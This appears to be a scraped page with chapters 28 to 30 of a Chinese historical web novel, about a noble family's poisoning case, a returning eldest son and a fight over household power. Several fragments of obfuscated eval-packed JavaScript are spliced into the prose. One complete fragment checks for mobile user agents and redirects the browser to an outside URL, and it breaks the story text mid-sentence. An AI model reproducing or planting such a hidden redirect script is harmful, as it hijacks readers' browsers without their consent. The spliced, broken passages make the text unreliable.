“刘铮,凉州遂安县平安乡人,年二十五。”桓晏坐在她对面,一句一句念着昌平送来的信,“你的丈夫,你腹中孩子的爹。” 28. 兄弟 …… “我只是想要钱财,那是他们欠我的,若是没有了那个孩子侯府的一切就是我的。” 这是沈月棠招认的最后一句话,文书记录在案,所有人都默不作声地听完了她的供述。 长长的案卷拿在手上,桓晏一字一句看完,看了许久才最后问了一句话,“药是谢氏给你的。” 沈月棠点了点头,“她说那是落胎的药,我怎知能要柳阿五的性命。” 重重地一声叹息,桓晏吩咐:“带下去安顿起来,好生照料。” 月华如水,银霜满地。 走出刑狱的大门大口呼吸新鲜的空气,胸腔中的憋闷才稍有疏解,这样一桩案子已然触目惊心,还不知桓氏发家的背后还有多少个沈月棠和刘铮。 望了一眼月色,桓晏翻身上马直奔隐世阁。 袁子与被从床上拉起来的时候正睡得香甜,睡眼惺忪地埋怨桓晏,“做什么大半夜扰人清梦,你是厉鬼吗半夜都不睡……” 一卷系着麻带子的卷宗被扔到脸上,袁子与手忙脚乱地接住,错愕片刻恍然大悟,“你查清楚了?” 桓晏点头,面色铁青。 袁子与心下了然,“这个结果也是你意料之中,如今不过铁证如山,怎么反而难过起来。” 说完起身拿下外裳披在身上,趿着鞋去点了灯,又慢慢沏了一盏茶递到桓晏面前,“看淡些,只怕……” 后面的话他不敢再说下去,却被桓晏接过,“只怕这样的证据会越来越多,越来越触目惊心。” 袁子与不语,默默饮茶。 桓晏看着他,“你想娶含嫣,若是日后侯府坍塌你也务必要保证绝不亏待她半分。” 眼神灼灼郑重其事。 袁子与听了这话却气道:“桓晏你是第一日认识我吗,你当我是看中了你家的门第才要娶含嫣吗,还是你觉得我袁子与骨子里就是那等小人。” 看着他气急败坏的样子,桓晏这才轻笑一声,冲他摆了摆手示意他坐下。 “就是打个招呼,动这么大肝火作甚。” 说完从怀中掏出一个信封交给他,“你的机会来了。” * 翌日一早,袁子与一身劲装蹲守在福安堂对面的巷子里。 信封上描述的人一身棉布素衣长衫,戴一顶很大的帽子遮住了头脸,但那人走路有一个特点便是右脚比左脚脚步更重,是以整个人在走起来的时候左肩高右肩低,这算是唯一一条辨别的线索。 袁子与不想错过这次立功入仕的机会,一大早便带着干粮守在门口一眼不错地盯着大门处进进出出的人。 直到过了午时,日头最毒辣炎热的时候,街面上的人也越来越少,零星有几个从药房门口路过的,就连一旁摆摊做小买卖的也都打起盹儿来,袁子与这才看到那名男子出现。 装扮上一点不错,只是手里多了一个布袋。 那人十分谨慎地进门后左右看了看,打药房里头出来一名白须长者接待他,二人径直穿过大堂进了最里面的一扇小门。 这家福安堂是京城最有名的药铺,主要是因为有一名曾经宫里辞官的太医坐诊,这才将名声打了出去。 也的确不是浪得虚名,许多疑难杂症和沉疴多年的疾患都在这里治愈。 袁子与早已打听清楚,这家药铺只有一个正门,是以只需在此等候便是。 大约过了一个时辰,男子走出福安堂拐入旁边的一条深巷,袁子与跟了上去。 巷子狭长逼仄,男子走了几步后发现了身后人的跟踪稍作停顿后倏然加快了步伐跑起来,袁子与紧追不舍三两步赶到了那人身后纵身一跃到他面前拦住了去路。 “在下袁子与。”袁子与笑着用剑指向那人,“桓大公子,别来无恙。” * 隐世阁三层雅间里,桓晏和桓启元相对而坐。 香炉里冉冉上升的青烟飘散在空中,微风吹动纱帘,茶香四溢,日光正好。 桓晏慢条斯理地清洗茶宠茶具,对面桓启元静静地看着他。 在桓晏的印象中,上一次见到桓启元还是九年前,那时他还只是个十一岁的孩子,桓启元也不过十三岁。 时隔多年,他还是一如既往地沉稳安静,即便是被袁子与抓来也丝毫不见窘迫和紧张,眉目疏淡眼神笃定,儒雅温润的面庞上带着若有似无的笑意,正如少年时一样,总是偷偷跑来看望犯了错被父亲责罚的桓晏:“怀松,来吃些东西吧。” “你跟了我多久。” 桓启元似乎并不意外被桓晏找到,声音仍旧平稳朗朗。 “既已回京又为何躲藏。” 桓晏并不答他的话,反问桓启元,“府中为你办了丧仪,想必你应当知晓。” 静默无声。 两息后,桓启元笑了笑,端起茶盏兀自饮下,而后看着桓晏。 “如今连一声大哥都不叫了吗。” 桓晏抿唇不语,垂眸专注烹茶。 “还记得你小时候最喜欢吃为兄做的甜饼,总说比厨子做的好吃。”桓启元说起童年往事,脸上带着温柔的笑,“我那时候总是半夜偷偷做了许多,然后藏起来,专门留着给挨罚的你。” “那时候的怀松啊实在太淘气,总是惹得父亲生气,罚你跪祠堂。” “你偏还脾气大……” “因为谢氏欺负我的母亲。”桓晏倏然打断了他的话,“我是在为我母亲出头。” 他眼神充血怒火中烧却在极力按捺。 桓启元一怔,旋即闭了口默默点了点头,“母亲的确有些时候做得过分了些,可是她毕竟是侯府的夫人……” “所以就可以随意欺辱旁人吗。”桓晏冷笑,“桓启元你的圣贤书读到狗肚子里去了。” “桓晏。” 桓启元陡然提高了声调,“我是你的兄长,你是桓氏的儿子,那个女人不过一介歌姬……” 呛啷一声,桓晏把剑直指桓启元咽喉。 “桓启元我警告你,再置喙我母亲一个字,别怪我手下无情。” “你究竟想做什么。”桓启元也急了,“侯府是你的家,那个人是你的父亲。” “桓氏无恶不作欺压百姓霸人家财害人性命,桓启元你别说你毫不知情。” 再一次静默,桓启元低下了头缓缓坐下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“桓晏,想一想你自己的身份和立场。”桓启元振振有词,“这世间人与人本就不同,你我生在权富之家享有无上尊荣和资源,这就是命,世间总要有人失去有人得到,难道与生俱来的权利和财富是我们的过错吗,那也是我们祖辈用血汗拼出来的。” 桓晏冷笑,“好一个血汗拼出来的,是踩在别人的尸体上抢来的。” “所以,桓启元你遮遮掩掩机关算尽是想掩盖掉桓众望的罪行,替他粉饰太平对吗。” “不,不是粉饰太平。”桓启元露出无奈的表情,“刘铮的尸首被你们找了,你们也发现了我没有死,二叔的罪行无法掩盖可我想尽力弥补,希望陛下可以宽宥原谅侯府的过失。” 过失,他只认为这是一次小小的过失。 桓晏无语,不欲再与他多说。 正所谓道不同不相为谋,他没有想到读尽圣贤书被陛下赞誉有加的桓启元,在得知桓氏谋财害命之后想的却是将功补过,替侯府说情。 并且还企图说服他。 “怀松,我们是兄弟,你是桓氏的人,这一点你不要忘了。” 桓启元见他不语以为可以说服桓晏,绕过茶桌走到他面前拍了拍他的肩膀,“你是我的二弟,是父亲的儿子,我们得齐心协力。” “桓启元。”桓晏拨开他的手,眼神冷峻地看过去,“我籍属通文上姓李。” “你……”桓启元始料未及,难以置信地瞪大了眼睛。 而后又想到什么,面露惊惧,“你此番回家是为了……” 桓晏冷冷地看着他,一字一顿道:“揭露桓氏罪行,亲手掀翻侯府。” 29. 归来 “你是个疯子。”桓启元怒视着他,“桓晏,你是桓氏子弟,如何能说出这样大逆不道的话。” 桓晏冷冷地看着他,嘴角噙着一抹嘲讽,“还请兄长解惑何为大逆不道,仗势欺人夺人钱财害人性命,这不叫大逆不道吗。” 桓启元一时无语,支吾道:“父亲纵然有过失那也是为了家族为了我们,你怎么能如此不知好歹。” 日影横斜,将对面的人照得半明半暗。 是非公道皆凌驾于权力拥有者的利益之上,这样的观念早已在世家大族中根深蒂固,桓晏默然看向窗外,不愿多说。 “我明白了,是为了你的生母。”桓启元似乎想通了什么,语气变得平和起来,“若你是为当年的恩怨,我大可说服父亲向你和你的姨娘赔罪……” “我母亲已经不在了。”桓晏红着眼眶打断他的话,“为时已晚,也不接受赔罪。” 静默,桓启元脸上露出哀戚的神色。 “那……”他踌躇道:“她身份实在难登大雅之堂,身后也是不可入祖坟,不过可以考虑在祖坟旁边的……” “我母亲的事无需旁人多嘴。”桓晏起身怒目而视,“入风尘乃无奈之举,进侯府也非她自愿,她从未想过要争什么,死后也不愿与桓氏有任何瓜葛,但是她的仇我这个做儿子的一定会替她报。” “你的母亲谢氏,还有桓氏的罪人,都会得到应有的惩罚。” “桓晏。”桓启元倏然起身与他平视,甩袖道:“作为桓氏的子孙,我也绝不会容许任何人损害家族的利益,从今往后你我不再是兄弟。” “那就走着瞧。”桓晏冷冷一笑举步就走,到了门边又站定,从怀中掏出一张纸丢在地上,稍稍回头却没看桓启元,“阿五是我的人,你若欺她别怪我心狠手辣。” 伴随着脚步渐行渐远,那张纸轻飘飘落地,桓启元走过去就看到清晰的字迹:脉象细弱且沉……肾阳不足,急需温补肾阳…… 桓晏到了二楼拐弯处,楼下戏台上胡姬翩翩起舞看客兴致高涨,大堂内热火朝天,而他却清晰地听到了楼上的房间里传来一声轰响,像是什么东西重重坠地。 * 回到侯府时已过了晚食,暮色初上,灯火通明。 时辰尚不算晚,翠竹轩内却一片寂静,甚至连灯都没点几个。 桓晏漫步而来,望着院子里生机勃勃又没有人气的样子,背在身后的手紧了紧。 若是平日,这个时辰该是她饭后消食的时候,同珍珠碧玉在院子里散步说话,或者一起做点儿什么,小食点心、冰饮甜酿,对,她十分喜欢自己做小首饰,而且手艺了得,不输外头珍宝楼的大师傅。 桓晏想起碧玉头上的那枚碧玉兰花簪,那丫头十分喜欢,“这是阿五姑娘送给奴婢的,说应了奴婢的名字,这颜色也十分衬奴婢。” 她的手是真的很巧,给昌平做的香囊也十分精致。 “二公子。” 碧玉从廊下过来,红着眼朝桓晏行礼。 桓晏的视线落在小丫头的发髻上,那枚碧玉兰花簪她日日戴着,这会儿在烛灯下看越发显得晶莹剔透栩栩如生。 “她可有好转。” 桓晏问,声音略有些沙哑。 碧玉掖泪,回话:“姜太医日日守在这里,姑娘的情况没有加重却也不见醒。” 三日了,桓晏出去忙了三日,阿五昏迷了三日。 “姜太医说要再等两三日,若是还醒不过来,恐……” 碧玉再说不下去,泪水如断了线的珠子,哽咽着行礼,“奴婢失态,请,请主子责罚。” 桓晏仰头看了看黑黢黢的天色,喉结耸动,朝她摆了摆手一个人进了房间。 房间里只点了一盏烛灯,隔着屏风放在外间的桌上,绕过屏风便能闻到一股清新的花香,她不喜欢燃香,比起熏香她似乎更喜欢每日采摘的新鲜花束的味道和果子的自然香气,用来装点房间,清新自然香气宜人。 一侧的小窗开了半扇,清凉的夏风吹入屋内,温度适宜。 床榻上帐帘被收拢在两侧,瘦瘦小小的小娘子安安静静地躺在那里,形容更瘦了些,脸上也没有血色。 若不是均匀的呼吸,桓晏险些以为她…… 他驻足看了看熟睡的阿五,去了外间净手净面更衣,将自己打理干净后方才执灯过来,撩袍坐在她床榻边。 夜色浓稠,月圆星稀,透过窗子望出去能看到皎皎月色和被风吹动的枝叶。 “五儿。”桓晏开口,嗓音有些发颤。 “你好好安睡,我就在这里陪你,就像那时你陪着我一样。” 那是九年前的夜晚,亦是初夏,只不过躺在那里的人是他。 那是谢氏又一次刁难他的母亲,满地碎瓷,谢氏让他的母亲跪在地上,任由膝盖疼痛流血身子也不能有丝毫歪斜,只因头一夜父亲又宿在他母亲院子里了。 整整两个时辰,母亲回去的时候已经无法行走昏厥过去。 桓晏怒极摸了把刀冲进静怡堂,自然被家丁拦下,任凭他讲理也好怒吼也罢,谢氏都不见他,只命家丁好生看住他,直到侯爷回府。 谢氏哭哭啼啼告状,“庶子不敬,意图谋害主母。” 父亲看向桓晏的时候,他开口陈述事实,可是后来父亲就进到房间里去,门被关上了,屋子里只有谢氏和父亲二人,他们说了什么桓晏不知,只听到只言片语: “若无我谢氏助力,你休想那尚书之位。” “贱婢和桓氏,就看你怎么选。” …… 那一刻,桓晏便知结果。 果然,那一晚侯爷亲自鞭刑他直至衣衫尽碎血肉模糊,被逼着跪在那里向谢氏磕头道歉的时候晕了过去。 他被扔进了祠堂里,无人问津。 只有柳阿五半夜给他送了一碗甜粥。 小小少年躺在地上气息微弱,小娘子慢慢吹着甜粥一口一口喂到他嘴里,一言未发。 一碗甜粥喂了半个多时辰,最后一口下肚小娘子长出一口气,抬手拭去额上薄汗冲他面无表情道:“日后再揪我发辫,我便再不管你死活。” 那时候的阿五刚入府不久,是个不会笑没有表情却生得十分漂亮的小姑娘。 后来她慢慢会笑了,笑得十分标准,只不过那笑里好像藏着什么,疏离虚假。 更漏一下一下响着,夜色沉沉。 桓晏看了看天色,起身出去端来温水给她净面洗手。 她是个爱干净的姑娘,断不能允许自己这样不洗漱躺着。 仔细擦拭着她柔软的小脸,眉如远黛,唇若点朱,一双小手柔软细腻,指尖泛起淡淡的粉色,不留意竟没有发现她指腹和手掌处落下的细小的疤痕。 做东西难免会伤手,桓晏轻轻揉了揉那已经好了的伤处,心里紧了又紧。 “好好睡吧,睡好了才能精神好。” 他帮她掖好被角,给自己拿来软垫坐在她身边开始看书。 若不是他想放长线钓大鱼,断不会纵着那沈氏继续佯装留在府里对她下手。 守在她身边才能安心,桓晏再想不出其他法子弥补心中对她的愧疚。 静静的,距离她最近也是最远的一夜悄然过去。 梆子声渐起,一次又一次,直到天色泛白。 阿五听到了翻书的声音,很有规律的一页一页,缓慢清晰。 “你……”她睁开眼就看到了身边看书的男人。 那一刻,桓晏的手僵住了,努力压抑住内心的澎湃,桓晏缓缓低头看她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864608|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>面色不似昨夜那样惨白,睡眼惺忪有些发肿,眸色却是清澈明亮的。 “你睡了四日了。” 男人的声音平静冷淡,慢慢放下书册起身给她端来茶盏,“滴水未进,先润润喉。” 茶盏是温热的,从指尖传遍全身,让阿五恢复了生气。 “多谢。”她声音细弱努力撑着想要起身,却无奈实在没有力气,尝试几次后便觉一只大手稳稳扶住了她的肩头。 “叫你习武你不听。”男人似乎在埋怨她,冰冷的一张脸上没什么好颜色。 阿五不语,接过茶盏小口啜饮,而后喝了大半杯才恍然大悟,“甜的?” “嗯,补充点体力。”桓晏接过杯子又给她添了一些,“能喝就多喝两口,猛然进食就怕脾胃不服,先缓一缓。” 阿五真是又渴又饿又虚弱,两杯甜茶下肚方觉腹内舒服了些。 “可好些了?” 阿五点头,“好些了。” 看着桓晏冷肃疏离的表情,小心问:“是……沈氏害我。” 桓晏并不意外她的敏锐,点头道:“她想要害你腹中孩儿,却被人换了毒药。” “夫人?”阿五有些吃惊,看到桓晏点头都未回神。 本以为她会伤心难过,谁知阿五却说:“所以沈氏其实并不是想要害我性命,她……” 想了想,阿五凝重开口,“她其实就是想要自己的孩子能够得到侯府的地位和富贵,对吗。” 再一次被她的聪慧震撼,桓晏凝神看着她,点了点头,“你发现了什么。” 阿五笑了,似乎有几分得意,“我早就发现她不同,沈氏并非出身高门,似乎做过些粗活但是做得不多,也并未读过什么书,人心不坏却极惦记钱财。” 小娘子的眸光变得更亮了,伸出一根手指戳着自己的下巴思索道:“但是她并非出身贫苦,似乎见过不少好东西,能分辨出什么真的贵重什么只是看上去值钱。” “她并非贪恋侯府的生活,不巴结夫人不讨好任何人,说话还总是蠢蠢的,也不觊觎尊贵的地位。”阿五看着桓晏,笃定道:“她只想银子,越多越好。” …… 她滔滔不绝地描述着自己的推测,神情专注,丝毫未曾察觉桓晏脸上露出的微笑和那早已变了的目光。 晨光洒进房间,又是崭新的一日。 片刻后,阿五恍然察觉自己似乎说得有些多了,“我,是不是说得太多了。” 小娘子变得羞涩起来,面颊泛起红晕,羽睫轻眨眸中波光潋滟。 桓晏看着她半晌,直盯得人不敢与他对视,这才转过身藏起那一抹转瞬即逝的轻笑,冷肃道:“话多说明身子好了,起来吃饭。” 阿五:…… 真没人情味。 “那沈氏现在何处,是不是……” 她还想再问,被桓晏凌厉的眼神打住话头。 “不该问的不要问。” 还是那张冰冷的脸。 阿五默默翻了个白眼,这个人真讨厌。 大约是听到了屋里的动静,珍珠碧玉也忙碌起来,翠竹轩重新焕发了生气,丫头小厮们穿梭来往,早食药膳鱼贯而入,姜太医也被请了过来。 日光穿透窗牖,洒下一片金色。 姜太医把了许久的脉后,终于露出如释重负的神情,“姑娘已无大碍,却仍需谨慎将养几日,老夫开个方子多为食补,姑娘千万不可马虎。” 谢过姜太医阿五看向桓晏,“多谢二公子救我。” 桓晏已更衣,冷冷地点了点头道了声“嗯”便不再多言。 然,突如其来石破天惊地一声呼喊,打破了翠竹轩的宁静,也像一块大石骤然激起千层巨浪。 “大公子,大公子回来了。” 30. 争权 一记炸雷,瞬时变了天。 方才还晴好艳阳的天气一下子阴云密布,风雨欲来。 阿五脑子里也是嗡嗡的,只听见一句:大公子回来了。 是大公子吗,他还活着吗,那尸体、验尸还有…… 柳阿五呆呆地站在原地手脚冰冷,不知所措。 大公子回来是好事,可是她却说不出心里是高兴还是别的什么情绪。 大公子待她一向宽厚温和,她也十分敬重大公子,这不是好事吗,是她一直期盼的呀。 可是为什么,她心里发慌呢。 最近几个月发生的事情太多了,多到一切都改变了,回不去了。 如果大公子知道她已经是他名义上的正妻,他会如何。 如果大公子知道她撒谎说自己有了他的孩子,他会如何。 如果大公子发现她为了活下去恬不知耻地同他的弟弟有了首尾,他又会如何…… 天上闷雷滚滚,大雨倾泻而下,天地间一片灰暗馄饨。 “快快,收拾起来。” “命厨房起灶摆宴。” “找人伺候大公子更衣歇息。” …… 府内热烈嘈杂的声音将柳阿五从惊骇中唤醒,她下意识抓住了眼前人的手,“是他吗。” 桓晏点了点头,从听到消息就一瞬不错地盯着阿五的脸,在看到她惊慌失措的表情时,心脏骤然紧缩。 “怎么办,我……” 小娘子本就虚弱,再经这么一吓整个人更显得苍白无血色,双瞳微颤声音发抖。 “阿五。”桓晏被她冰凉的小手抓着,很想反手将她的小手包入掌心,再给她一个大大的温暖的怀抱。 可是,他却忍住了,他不能表露自己的情绪。 默了一瞬,桓晏安抚性地拍了拍阿五的手背,“稍安勿躁,一切有我。” “可是……” 阿五现在正是懵的时候,什么都搞不清楚她都不知道自己该如何应对。 桓晏却不给她再问的机会,示意珍珠碧玉上前来服侍她更衣上妆,便要走。 到了门口,看着仍旧呆愣愣的阿五,留下一句,“你须信我。” 珠链被掀得晃动交缠,门外暴雨如注的声音传入屋内,一切都变得混乱不堪。 阿五头痛。 “你须信我”,又是这句话,看他的样子像是早有准备,桓晏,他定然什么都知晓可是却不告诉她。 又是这样,每一次都是这样。 他是个骄傲自负的人,一次次看轻她。 信他,那他可曾信过旁人。 深深吸了一口气,阿五抹掉脸上的泪水,再一次证明了她心中所想,凡事都得靠自己,也只能靠自己。 “少夫人,侯爷夫人请您去前厅。” 外头有正院儿的人来禀报,阿五不得不快速收拾情绪独自去面对一切。 到了正厅的时候,侯府两房的人基本到齐了。 上首坐着侯爷桓伯承和久病未曾露面的谢氏,今日谢氏虽看着虚弱却气色尚可,或许是儿子回来的惊喜,面上也没了先前的病气,整个人看起来精神矍铄。 桓伯承左手边坐的是二老爷桓众望和桓晏,以及四公子桓明之和五公子桓安。 谢氏右手边是二夫人顾氏,三姑娘桓素娥和六姑娘桓含嫣,桓含嫣身边是年仅八岁的七姑娘桓芷。 在她们身后站的是大房的妾室也就是五公子的姨娘陈氏,和二房的妾室七姑娘的姨娘张氏,和几名府内的一等丫鬟、嬷嬷们。 正当中红色软垫上跪着一人,高挑纤瘦温文尔雅,眉目间尽是愁思和忧虑,举手投足尽显高华气韵和逼人的贵气。 果然是大公子回来了,阿五默默站在最尾端注视那人挺拔笔直的脊背,耳边响起的是那熟悉充满温柔磁性的声音。 “……凉州的那一家人纠缠住儿子,儿子不得已只能想法子脱身,这才耽搁了许久,未曾给家中来信也实属无奈之举。”言之凿凿情真意切。 “无论如何,儿子耽搁了赴任也让家中担忧,辱没了陛下对儿子的信任有损门楣,是为不忠不孝,儿有罪请父亲母亲责罚。” 听完桓启元的话大家一阵唏嘘。 桓众望率先开口,“那些个刁民生来卑贱仇富,实在可恶。” 话音落,桓启元阴着脸看向桓众望,却无意中对上了他身旁一言不发的桓晏冷漠阴鸷的眼神。 兄弟对视无声无息却似刀光剑影,两息后桓启元才幽幽转回视线,桓晏却下意识握紧了拳头。 “好在哥哥吉人自有天相。”桓素娥十分开怀,“这叫大难不死必有后福。” 她的兄长回来了,不仅母亲有了依靠和支柱,连带着她议亲的事也不必因为兄长丧期而被人诟病。 同庾氏的姻缘一直是桓素娥所期盼的,庾氏大公子也是她从小中意的如意郎君,虽然那人并不中意她,可是那又有什么关系呢,父亲母亲不也是这样过了一辈子好得很吗。 “恭喜大哥,一切安好便是最好的。”桓明之起身朝桓启元行礼。 桓安被身后陈姨娘推着,也跟着起身潦草行礼敷衍了事。 “恭喜大哥。”桓含嫣面上带笑起身行礼。 就连最小的七娘子桓芷也是做得有模有样。 桓启元一一还礼同弟妹续话,一家子兄弟姐妹看上去亲昵热络。 “好了,大郎刚回来,有什么话你们私下再议。” 桓伯承打断了儿女们的小话,叹息道:“只是此番究竟是耽搁了公事,不知陛下会作何发落。” 说完眼神看向一旁老神在在的桓晏,笑道:“不过好在有你二弟在,陛下那边……” 兄弟再次对视,电光石火,不言不语。 “好了,你让延年歇息一下。”谢氏终于发言,“遇上这样的事纯属巧合,相信陛下定会体谅,延年也累了,让我们娘俩好生说说话,你们都回吧,有什么话晚上家宴再续不迟。” 听闻此言,众人纷纷起身告辞离去。 阿五随在大家后头慢慢往外走,走到大门处只觉得身后有一双锐利的目光在看着她,遂回头望去,正对上桓启元笑中带泪的眸光。 一如既往的清澈纯净,温柔宽厚。 心中一暖,阿五回身郑重朝他一礼,桓启元的笑容在脸上绽放。 其实阿五一进门桓启元便看到了她一身妇人装扮,不似从前俏皮天真却多了一层成熟温婉的韵味。 难怪桓晏说:“阿五是我的人。” 看着阿五那一身装扮和她脸上欲言又止羞涩忐忑的表情,桓启元猜出大半。 目送阿五离去,桓启元收回目光,无意中瞥见不远处的桓晏。 那人正站在门廊下正望着阿五远去的方向,若有所思。 一整日阿五都很安静,安静地看账查账核验,如往常一样一件事一件事地细细询问梁伯,慢慢地吃饭安静地习字,到了时辰就去午睡…… 好似一切都没有变化,却又好像都不一样了。 珍珠碧玉很担心,毕竟她的身子才刚恢复,虚弱得很,若是再有个什么刺激可怎么过顶得住。 “姑娘……” 珍珠欲言又止都快哭出来了,阿五看着她,问:“大公子回来是喜事,晚宴帮我打扮漂亮些。” 珍珠错愕,姑娘平日里从不在意穿衣打扮,总是怎么舒服怎么来,除非……珍珠想起了上一次冒着大雨姑娘从敬王府回来的样子。 只有在那样的时候,姑娘才想要打扮自己。 可是今日…… 阿五看着她不知所措的样子,笑了笑,“别担心,我有分寸。” 珍珠仔细分辨,发现姑娘虽平静得可怕,可眼神里的光却是明亮笃定的,下意识点了点头,“都听姑娘的。” 阿五破天荒自己打开衣柜挑裙子,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“少说话多吃饭。”陈姨娘给了儿子一个警告的眼神,而后又示意他看侯爷。 桓安看过去,果然父亲铁青着一张脸,若是他的话说出口恐怕这会儿塞嘴里的就不是栗子糕而是大嘴巴子了。 一个蠢人的小小插曲,没人会在意,大家继续寒暄恭贺,却都小心翼翼地避开了所有敏感的话题,直到谢氏发话。 “我跟侯爷也老了,年轻人应该多历练历练。”谢氏笑得很开怀,“侯爷,既然延年已经回来了,我看这掌家权还是应当交给他最为妥当。” 桓启元是嫡长子,未来爵位的继承人,于情于理合该如此。 桓伯承笑呵呵的脸上看不出什么情绪,只那一抹转瞬即逝的厌恶的眼神暴露了他的不满。 “今日是家宴那便趁这个机会同大家叮嘱一二。”桓伯承起身看了一眼安稳端坐的桓晏,“桓氏百年基业得来不易,儿孙自当齐心协力维护家族利益,如今大郎的事情尚未有定论,陛下如何决断犹未可知,此事……” 桓伯承点了一下桓晏的方向,“二郎需尽心竭力,替你兄长周全助家族大业,断不可有任何闪失。” 桓晏不语,只默默点了点头。 “既如此,那便先等大郎的事情宫里有了定论再议不迟。”桓伯承哈哈一笑,拍了拍身旁谢氏的手,“咱们的儿子如此优秀,若是陛下欣喜说不定再次派出京,到时候还不是又要劳烦二郎接管家宅琐事,与其那样麻烦不如先让二郎管着吧,我看管得很好。” 听闻此言,谢氏早已嫌弃地抽回自己的手,悄悄缩进袖子里使劲擦了又擦,再拿出来时手背上一片通红。 侯爷偏帮桓晏无人不知,和谢氏水火不容大家也心知肚明,此刻便全都眼观鼻鼻观心一面假笑迎合。 “侯爷当真是老了。”谢氏冷笑起身,丝毫不给桓伯承留面子,“延年是为公事出了意外,陛下宅心仁厚断不会挑他的不是,至于外派出京吗……” 谢氏眼神看向柳阿五,浅笑道:“妻室有孕,可延后外出,侯爷当了这么多年的官难道是忘记了。” 说完又点了柳阿五,“阿五,你怀了延年的孩子怎么不告诉他,让他高兴高兴呢。”